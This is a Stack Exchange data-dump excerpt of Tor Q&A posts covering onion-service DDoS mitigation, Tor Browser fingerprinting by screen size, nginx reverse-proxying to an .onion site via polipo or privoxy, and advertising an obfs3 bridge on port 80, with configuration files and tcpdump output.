  <row Id="13786" PostTypeId="1" CreationDate="2017-01-23T19:31:56.380" Score="1" ViewCount="2046" Body="&lt;p&gt;This post was not helpful:&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/1181/how-to-protect-a-hidden-service-against-ddos-attack&quot;&gt;How to protect a hidden service against DDOS attack?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My onion keeps getting hit with denial of service attacks. Is there anything I can do to minimize the effects? POST attacks, so Layer 7?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a few things on in the tor manual about rate-limiting but I'm not entirely sure if modifying these options will do any good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://expyuzz4wqqyqhjn.onion/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CountPrivateBandwidth 0|1 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If this option is set, then Tor’s rate-limiting applies not only to remote connections, but also to connections to private addresses like 127.0.0.1 or 10.0.0.1. This is mostly useful for debugging rate-limiting. (Default: 0)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;HiddenServiceMaxStreams N&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The maximum number of simultaneous streams (connections) per rendezvous circuit. (Setting this to 0 will allow an unlimited number of simultaneous streams.) (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be great. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="15952" LastActivityDate="2018-06-19T05:34:30.480" Title="How to deal with DDOS attacks?" Tags="|configuration|onion-services|onion-routing|bandwidth|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13787" PostTypeId="2" ParentId="13721" CreationDate="2017-01-23T19:48:58.607" Score="1" Body="&lt;p&gt;Have you tried using the unsafe browser under the Internet tab of applications? It will work just like a normal firefox/iceweasel brower.&lt;/p&gt;&#xA;" OwnerUserId="15953" LastActivityDate="2017-01-23T19:48:58.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13789" PostTypeId="1" CreationDate="2017-01-23T20:52:46.793" Score="1" ViewCount="414" Body="&lt;p&gt;I decided to check on TBB panopticlick, and my attention was drawn to the field value &quot;Screen Size and Color Depth&quot;, it says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bits of identifying information - 11,28 /&#xA;one in x browsers have this value - 2479,35 /&#xA;value - 1920x969x24&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, ok, it is clear (browser deployed on the entire screen window).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, I decided to check out as normal firefox, and then google chrome. And what do I see?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bits of identifying information - 2.31 / &#xA;one in x browsers have this value - 4.97 /&#xA;value - 1920x1080x24&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me: &quot;Do not open TBB to full screen, run in the default window.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the results for the default window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bits of identifying information - 8.01 /&#xA;one in x browsers have this value - 257.61 /&#xA;value - 1000x900x24&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As can be seen, but also in such a small &quot;typical&quot; window, my browser is unique from the other 250, 250 to 5, not bad, huh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how to fix this (because in the full screen mode to work much more productively)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it is not in prefs.js or in something like this...&lt;/p&gt;&#xA;" OwnerUserId="15956" LastActivityDate="2017-02-23T15:52:41.197" Title="Screen size in TBB and fingerprinting" Tags="|tor-browser-bundle|panopticlick|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13792" PostTypeId="1" CreationDate="2017-01-24T02:18:41.793" Score="3" ViewCount="11753" Body="&lt;p&gt;i have installed &lt;code&gt;TOR&lt;/code&gt; and &lt;code&gt;nginx&lt;/code&gt; on my cent os server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i proxy_pass requests to the &lt;code&gt;TOR&lt;/code&gt; running on my localhost and supply &lt;code&gt;host headers&lt;/code&gt; of &lt;code&gt;.onion&lt;/code&gt; website. i am getting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tor is not an http proxy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i am trying to do is make &lt;code&gt;.onion&lt;/code&gt; website available on non &lt;code&gt;TOR&lt;/code&gt; network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this ? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;update: 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as Alexey Vesnin answer, i have downloaded &amp;amp; installed polipo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Started &lt;code&gt;tor&lt;/code&gt; as Daemon &#xA;Started &lt;code&gt;polipo&lt;/code&gt; as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;polipo -c /etc/polipo/config &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Started &lt;code&gt;nginx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is &lt;strong&gt;nginx.conf&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;worker_processes auto;&#xA;events {&#xA;  worker_connections 1024;&#xA;}&#xA;http {&#xA;  include  mime.types;&#xA;  default_type application/octet-stream;&#xA;  sendfile on;&#xA;  gzip on;&#xA;  server {&#xA;    listen 80;&#xA;    server_name server_ip;&#xA;&#xA;    location / {&#xA;    proxy_pass http://127.0.0.1:8123/; &#xA;    proxy_set_header Host &quot;example.onion&quot;; &#xA;&#xA;    proxy_set_header Accept-Encoding &quot;&quot;;&#xA;    proxy_set_header Via &quot;$host&quot;;&#xA;&#xA;    subs_filter 'example.onion' $host;&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;polipo config&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socksParentProxy = &quot;localhost:9050&quot;&#xA;socksProxyType = socks5&#xA;diskCacheRoot = &quot;&quot;&#xA;disableLocalInterface=true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is what i am getting after accessing ip_address in browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R3aNo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R3aNo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently flow is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nginx (port 80) -&amp;gt; 127.0.0.1:8123 (polipo) -&amp;gt; tor (socks proxy on port 9050)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if i stop &lt;code&gt;polipo&lt;/code&gt; and use &lt;code&gt;socat&lt;/code&gt; as suggested by other answer, i can access &lt;code&gt;example.onion&lt;/code&gt; by going to my &lt;code&gt;ip_address&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;update 2 :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are tcpdump output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;curl -x &lt;a href=&quot;http://127.0.0.1:8123&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://127.0.0.1:8123&lt;/a&gt; -I example.onion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@centos-512mb-blr1-01 sbin]# tcpdump -i any src port 8123 or dst port 8123&#xA;tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&#xA;listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes&#xA;18:06:19.100755 IP centos-512mb-blr1-01.34156 &amp;gt; centos-512mb-blr1-01.8123: Flags [S], seq 2706160723, win 43690, options [mss 65495,sackOK,TS val 180383683 ecr 0,nop,wscale 6], length 0&#xA;22:06:59.512088 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34156: Flags [S.], seq 15619937, ack 2706160724, win 43690, options [mss 65495,sackOK,TS val 180383683 ecr 180383683,nop,wscale 6], length 0&#xA;18:06:19.100791 IP centos-512mb-blr1-01.34156 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 1, win 683, options [nop,nop,TS val 180383683 ecr 180383683], length 0&#xA;18:06:19.100892 IP centos-512mb-blr1-01.34156 &amp;gt; centos-512mb-blr1-01.8123: Flags [P.], seq 1:147, ack 1, win 683, options [nop,nop,TS val 180383683 ecr 180383683], length 146&#xA;18:06:19.100900 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34156: Flags [.], ack 147, win 700, options [nop,nop,TS val 180383683 ecr 180383683], length 0&#xA;18:06:20.164200 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34156: Flags [P.], seq 1:496, ack 147, win 700, options [nop,nop,TS val 180384746 ecr 180383683], length 495&#xA;18:06:20.164207 IP centos-512mb-blr1-01.34156 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 496, win 700, options [nop,nop,TS val 180384746 ecr 180384746], length 0&#xA;18:06:20.164667 IP centos-512mb-blr1-01.34156 &amp;gt; centos-512mb-blr1-01.8123: Flags [F.], seq 147, ack 496, win 700, options [nop,nop,TS val 180384747 ecr 180384746], length 0&#xA;18:06:20.165750 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34156: Flags [F.], seq 496, ack 148, win 700, options [nop,nop,TS val 180384748 ecr 180384747], length 0&#xA;18:06:20.165763 IP centos-512mb-blr1-01.34156 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 497, win 700, options [nop,nop,TS val 180384748 ecr 180384748], length 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;curl -x &lt;a href=&quot;http://127.0.0.1:8123&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://127.0.0.1:8123&lt;/a&gt; example.onion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@centos-512mb-blr1-01 sbin]# tcpdump -i any src port 8123 or dst port 8123&#xA;tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&#xA;listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes&#xA;18:08:41.663821 IP centos-512mb-blr1-01.34162 &amp;gt; centos-512mb-blr1-01.8123: Flags [S], seq 418350783, win 43690, options [mss 65495,sackOK,TS val 180526246 ecr 0,nop,wscale 6], length 0&#xA;00:12:03.077270 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34162: Flags [S.], seq 1228213188, ack 418350784, win 43690, options [mss 65495,sackOK,TS val 180526246 ecr 180526246,nop,wscale 6], length 0&#xA;18:08:41.663881 IP centos-512mb-blr1-01.34162 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 1, win 683, options [nop,nop,TS val 180526246 ecr 180526246], length 0&#xA;18:08:41.664001 IP centos-512mb-blr1-01.34162 &amp;gt; centos-512mb-blr1-01.8123: Flags [P.], seq 1:146, ack 1, win 683, options [nop,nop,TS val 180526246 ecr 180526246], length 145&#xA;18:08:41.664007 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34162: Flags [.], ack 146, win 700, options [nop,nop,TS val 180526246 ecr 180526246], length 0&#xA;18:08:42.569780 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34162: Flags [P.], seq 1:7954, ack 146, win 700, options [nop,nop,TS val 180527152 ecr 180526246], length 7953&#xA;18:08:42.569791 IP centos-512mb-blr1-01.34162 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 7954, win 2729, options [nop,nop,TS val 180527152 ecr 180527152], length 0&#xA;18:08:42.570223 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34162: Flags [P.], seq 7954:11447, ack 146, win 700, options [nop,nop,TS val 180527152 ecr 180527152], length 3493&#xA;18:08:42.570229 IP centos-512mb-blr1-01.34162 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 11447, win 4776, options [nop,nop,TS val 180527152 ecr 180527152], length 0&#xA;18:08:42.761444 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34162: Flags [P.], seq 11447:13454, ack 146, win 700, options [nop,nop,TS val 180527344 ecr 180527152], length 2007&#xA;18:08:42.761450 IP centos-512mb-blr1-01.34162 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 13454, win 6822, options [nop,nop,TS val 180527344 ecr 180527344], length 0&#xA;18:08:42.761708 IP centos-512mb-blr1-01.34162 &amp;gt; centos-512mb-blr1-01.8123: Flags [F.], seq 146, ack 13454, win 6822, options [nop,nop,TS val 180527344 ecr 180527344], length 0&#xA;18:08:42.762874 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34162: Flags [F.], seq 13454, ack 147, win 700, options [nop,nop,TS val 180527345 ecr 180527344], length 0&#xA;18:08:42.762887 IP centos-512mb-blr1-01.34162 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 13455, win 6822, options [nop,nop,TS val 180527345 ecr 180527345], length 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;from web browser trying to access ip_address&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@centos-512mb-blr1-01 sbin]# tcpdump -i any src port 8123 or dst port 8123&#xA;tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&#xA;listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes&#xA;18:06:55.843802 IP centos-512mb-blr1-01.34160 &amp;gt; centos-512mb-blr1-01.8123: Flags [S], seq 910534644, win 43690, options [mss 65495,sackOK,TS val 180420426 ecr 0,nop,wscale 6], length 0&#xA;17:57:09.532188 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34160: Flags [S.], seq 1766895439, ack 910534645, win 43690, options [mss 65495,sackOK,TS val 180420426 ecr 180420426,nop,wscale 6], length 0&#xA;18:06:55.843842 IP centos-512mb-blr1-01.34160 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 1, win 683, options [nop,nop,TS val 180420426 ecr 180420426], length 0&#xA;18:06:55.843918 IP centos-512mb-blr1-01.34160 &amp;gt; centos-512mb-blr1-01.8123: Flags [P.], seq 1:447, ack 1, win 683, options [nop,nop,TS val 180420426 ecr 180420426], length 446&#xA;18:06:55.843925 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34160: Flags [.], ack 447, win 700, options [nop,nop,TS val 180420426 ecr 180420426], length 0&#xA;18:06:55.844164 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34160: Flags [P.], seq 1:607, ack 447, win 700, options [nop,nop,TS val 180420426 ecr 180420426], length 606&#xA;18:06:55.844171 IP centos-512mb-blr1-01.34160 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 607, win 702, options [nop,nop,TS val 180420426 ecr 180420426], length 0&#xA;18:06:55.844199 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34160: Flags [F.], seq 607, ack 447, win 700, options [nop,nop,TS val 180420426 ecr 180420426], length 0&#xA;18:06:55.844949 IP centos-512mb-blr1-01.34160 &amp;gt; centos-512mb-blr1-01.8123: Flags [F.], seq 447, ack 608, win 702, options [nop,nop,TS val 180420427 ecr 180420426], length 0&#xA;18:06:55.844961 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34160: Flags [.], ack 448, win 700, options [nop,nop,TS val 180420427 ecr 180420427], length 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;from web browser trying to access ip_address with proxy_redirect off;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@centos-512mb-blr1-01 sbin]# tcpdump -i any src port 8123 or dst port 8123&#xA;tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&#xA;listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes&#xA;18:11:29.776426 IP centos-512mb-blr1-01.34166 &amp;gt; centos-512mb-blr1-01.8123: Flags [S], seq 1166517450, win 43690, options [mss 65495,sackOK,TS val 180694358 ecr 0,nop,wscale 6], length 0&#xA;08:46:03.082415 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34166: Flags [S.], seq 2412138764, ack 1166517451, win 43690, options [mss 65495,sackOK,TS val 180694359 ecr 180694358,nop,wscale 6], length 0&#xA;18:11:29.776471 IP centos-512mb-blr1-01.34166 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 1, win 683, options [nop,nop,TS val 180694359 ecr 180694359], length 0&#xA;18:11:29.776554 IP centos-512mb-blr1-01.34166 &amp;gt; centos-512mb-blr1-01.8123: Flags [P.], seq 1:447, ack 1, win 683, options [nop,nop,TS val 180694359 ecr 180694359], length 446&#xA;18:11:29.776560 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34166: Flags [.], ack 447, win 700, options [nop,nop,TS val 180694359 ecr 180694359], length 0&#xA;18:11:29.777002 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34166: Flags [P.], seq 1:607, ack 447, win 700, options [nop,nop,TS val 180694359 ecr 180694359], length 606&#xA;18:11:29.777012 IP centos-512mb-blr1-01.34166 &amp;gt; centos-512mb-blr1-01.8123: Flags [.], ack 607, win 702, options [nop,nop,TS val 180694359 ecr 180694359], length 0&#xA;18:11:29.777030 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34166: Flags [F.], seq 607, ack 447, win 700, options [nop,nop,TS val 180694359 ecr 180694359], length 0&#xA;18:11:29.777159 IP centos-512mb-blr1-01.34166 &amp;gt; centos-512mb-blr1-01.8123: Flags [F.], seq 447, ack 608, win 702, options [nop,nop,TS val 180694359 ecr 180694359], length 0&#xA;18:11:29.777178 IP centos-512mb-blr1-01.8123 &amp;gt; centos-512mb-blr1-01.34166: Flags [.], ack 448, win 700, options [nop,nop,TS val 180694359 ecr 180694359], length 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user14856" LastEditorDisplayName="user14856" LastEditDate="2017-03-25T18:10:47.800" LastActivityDate="2021-08-23T13:13:55.187" Title="How can i nginx reverse proxy to .onion site ? which is on TOR network?" Tags="|configuration|onion-routing|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13793" PostTypeId="2" ParentId="13571" CreationDate="2017-01-24T09:23:09.483" Score="1" Body="&lt;p&gt;This is weird, I am the operator of that Tor Exit relay. The relay is indeed hosted in the United States, perhaps the geoip is wrong. You can confirm this by running a traceroute to the IP and following the hops. It ends in Dallas, Texas.&lt;/p&gt;&#xA;" OwnerUserId="15961" LastActivityDate="2017-01-24T09:23:09.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13795" PostTypeId="2" ParentId="13792" CreationDate="2017-01-24T14:40:54.527" Score="3" Body="&lt;p&gt;You need a &lt;code&gt;polipo&lt;/code&gt; proxy - because Tor is not a &lt;strong&gt;http&lt;/strong&gt; proxy, it's a Socks one. You can get it on &lt;a href=&quot;https://www.irif.fr/~jch/software/polipo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;polipo's official website&lt;/a&gt; and don't be upset that it's no longer maintained: this is the case when &quot;the task is done&quot;, there's nothing more to add. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will use Polipo as an adapter for TOR's Socks proxy into HTTP proxy. If your onion website uses HTTPS - then you need to handle https &lt;em&gt;separately&lt;/em&gt; and NGinx must be set not as a webserver, but as a proxy due to the HTTPS nature: it can be using CONNECT method, and it's &quot;unmirrorable&quot; - it can be only proxified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But HTTPS is rarely used in onions because it's already encrypted by Tor, the only reason in using https in onion is to use either a client certificates on per-client basis, or to &quot;sign&quot; the data to confirm it's integrity explicitly (HTTPS encryption function is useless in onions due to Tor's encryption)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to lack of time, I'm posting a privoxy-based solution. seems to be working. Actually, privoxy has made a big leap ahead since I've seen it last time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NGinx conf for proxy - in standard Debian install it resides in &lt;code&gt;/etc/nginx/conf.d&lt;/code&gt; folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upstream onion {&#xA;    server 127.0.0.1:8118;&#xA;}&#xA;server {&#xA;    listen &amp;lt;nginx ip&amp;gt;:443 ssl;&#xA;    ssl_certificate /etc/nginx/ssl/nginx.crt;&#xA;    ssl_certificate_key /etc/nginx/ssl/nginx.key;&#xA;    location / {&#xA;        proxy_pass http://onion;&#xA;        proxy_set_header Host desired.onion;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/etc/privoxy/config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; user-manual /usr/share/doc/privoxy/user-manual&#xA; confdir /etc/privoxy&#xA; logdir /var/log/privoxy&#xA; actionsfile match-all.action # Actions that are applied to all sites and maybe overruled later on.&#xA; actionsfile default.action   # Main actions file&#xA; actionsfile user.action      # User customizations&#xA; filterfile default.filter&#xA; filterfile user.filter      # User customizations&#xA; logfile logfile&#xA; listen-address  localhost:8118&#xA; toggle  1&#xA; enable-remote-toggle  0&#xA; enable-remote-http-toggle  0&#xA; enable-edit-actions 0&#xA; enforce-blocks 0&#xA; buffer-limit 4096&#xA; enable-proxy-authentication-forwarding 0&#xA; forward-socks5   /               &amp;lt;tor-ip&amp;gt;:9050 .&#xA; forwarded-connect-retries  0&#xA; accept-intercepted-requests 1&#xA; allow-cgi-request-crunching 0&#xA; split-large-forms 0&#xA; keep-alive-timeout 5&#xA; tolerate-pipelining 1&#xA; socket-timeout 300&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="22560" LastEditDate="2018-07-26T22:29:09.880" LastActivityDate="2018-07-26T22:29:09.880" CommentCount="33" ContentLicense="CC BY-SA 4.0" />
  <row Id="13796" PostTypeId="1" AcceptedAnswerId="13982" CreationDate="2017-01-24T14:44:23.060" Score="2" ViewCount="499" Body="&lt;p&gt;I'm currently running a Tor bridge on port 80 (for personal purposes, luckily no real needs). From what I can see in the obfs debug there's no connection other than mine, probably because the bridge is not (correctly) advertised on the Tor network (I guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running it with a hack, because I couldn't find a better way to o so. Time ago I found &lt;a href=&quot;https://tor.stackexchange.com/a/560/6573&quot;&gt;an answer on SO&lt;/a&gt; which explained how to run a bridge on port 80 via iptables rules, and that's what I do and works fine. But since the Bridge is online it's a shame others cannot benefit from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RelayBandwidthRate 900 KB&#xA;RelayBandwidthBurst 1 MB&#xA;ExitPolicy reject *:* # no exits allowed&#xA;DisableDebuggerAttachment 0&#xA;SocksPort 0&#xA;ORPort 2000&#xA;ExtORPort auto&#xA;BridgeRelay 1&#xA;ServerTransportListenAddr obfs3 0.0.0.0:9999&#xA;ServerTransportPlugin obfs3 proxy public_ip:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When started Tor reports the ORPort as reachable, but that's not the obfuscated port. I guess many people can benefit from using a Bridge on port 80. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;is there a non hack-ish way to run a bridge on port 80?&#xA;I did some tests in running Tor as &lt;em&gt;root&lt;/em&gt; user, but other than being discouraged it was still not working because the control socket was still created as &lt;em&gt;debian-tor&lt;/em&gt; user (on Ubuntu), and I stopped there.&lt;/li&gt;&#xA;&lt;li&gt;(more important) how can I advertise the bridge on port 80?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6573" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-02-08T08:26:40.460" Title="Advertise obfs3 Tor bridge on port 80" Tags="|bridge|obfsproxy|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13797" PostTypeId="2" ParentId="13789" CreationDate="2017-01-24T15:05:38.730" Score="1" Body="&lt;p&gt;Yes, that's exactly what I can tell you: if you're using a Tor browser - use it as it's designed to be. The goal of the default screen size is to make it's users look the same way to enharden fingerprinting. If you need a full-screen, you can use either Tor browser or Firefox, Chrome is not recommended due to it's google nature :) But be warned: you will be looking more distinct and specific, even when using a dedicated VM &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-24T15:05:38.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13799" PostTypeId="2" ParentId="13786" CreationDate="2017-01-24T15:12:01.043" Score="1" Body="&lt;p&gt;No tweaks you've mentioned in your question are necessery - leave them as it is: DOS point of attack here is not the webserver, but the tor instance itself: tor has a single-core crypto. So you need a 2+ core &lt;em&gt;dedicated&lt;/em&gt; box for it with maximum core speed, a CPU overclock+overcool can be used too, for now. Even with my patches(I'll release them a bit later) it can be the point of failure too. You can use a multiple load-ballancing Tor instances for a single onion service, i.e. you have multiple ISP lines or a very fast one with 1 or 2 fast VPN's with different C-level static IP's for a multiple instances. If you need further info - you're welcome, just ask!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-24T15:12:01.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13800" PostTypeId="2" ParentId="13785" CreationDate="2017-01-24T15:14:42.757" Score="1" Body="&lt;p&gt;2nd point: it's as simple as hell to give you one cookie/tracker to merge it. The tracking itself may be not a trivial task, but Tor Browser is a browser after all, so it can not defeat some fingerprinting techniques as &lt;em&gt;all the other browsers&lt;/em&gt;. To be 100% sure of splitting two sessions use two dedicated VM's with browsers in them and use per-client chain separation(I do recommend using it via different socks login+passwords)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-24T15:14:42.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13801" PostTypeId="2" ParentId="12858" CreationDate="2017-01-24T16:45:19.173" Score="1" Body="&lt;p&gt;My little trick to connect to more obfs4 bridges in TAILS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First collect some working bridges via bridge DB (e.g. obfs3) or connect to regular tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When connected cut the connection in the on/off menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reconnect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While reconnecting quickly click to connect via bridges and enter your obfs4 bridge relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TAILS now connects to obfs4 bridges that were at first rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to be quick and need a little practise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="15967" LastActivityDate="2017-01-24T16:45:19.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13804" PostTypeId="2" ParentId="13796" CreationDate="2017-01-24T19:20:18.147" Score="0" Body="&lt;p&gt;I used to encounter such an odd behaviour too, try this in your torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientOnly 0&#xA;PublishServerDescriptor bridge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the description of &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#PublishServerDescriptor&quot; rel=&quot;nofollow noreferrer&quot;&gt;PublishServerDescriptor&lt;/a&gt; states as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PublishServerDescriptor 0|1|v3|bridge,…&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This option specifies which descriptors Tor will publish when acting as a relay. You can choose multiple arguments, separated by commas. &#xA;  If this option is set to 0, Tor will not publish its descriptors to any directories. (This is useful if you’re testing out your server, or if you’re using a Tor controller that handles directory publishing for you.) Otherwise, Tor will publish its descriptors of all type(s) specified. The default is &quot;1&quot;, which means &quot;if running as a server, publish the appropriate descriptors to the authorities&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so this is a bit weird, I know, but it worked for me.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-24T19:20:18.147" 